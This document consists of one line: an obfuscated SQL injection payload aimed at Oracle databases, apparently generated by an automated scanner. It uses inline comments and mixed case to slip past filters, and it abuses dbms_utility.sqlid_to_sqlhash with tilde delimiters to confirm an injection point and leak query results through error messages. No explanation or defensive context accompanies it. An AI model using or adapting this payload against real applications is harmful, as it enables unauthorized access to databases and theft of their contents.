1)and/**/5544=dbms_UtILITY.SqliD_TO_sQlHASh(chR(126)||~||(SelecT/**/(Case/**/wHen/**/(5544=5544)/**/thEn/**/1/**/eLSE/**/0/**/END)/**/From/**/DuAl)||~||chr(126))– – 1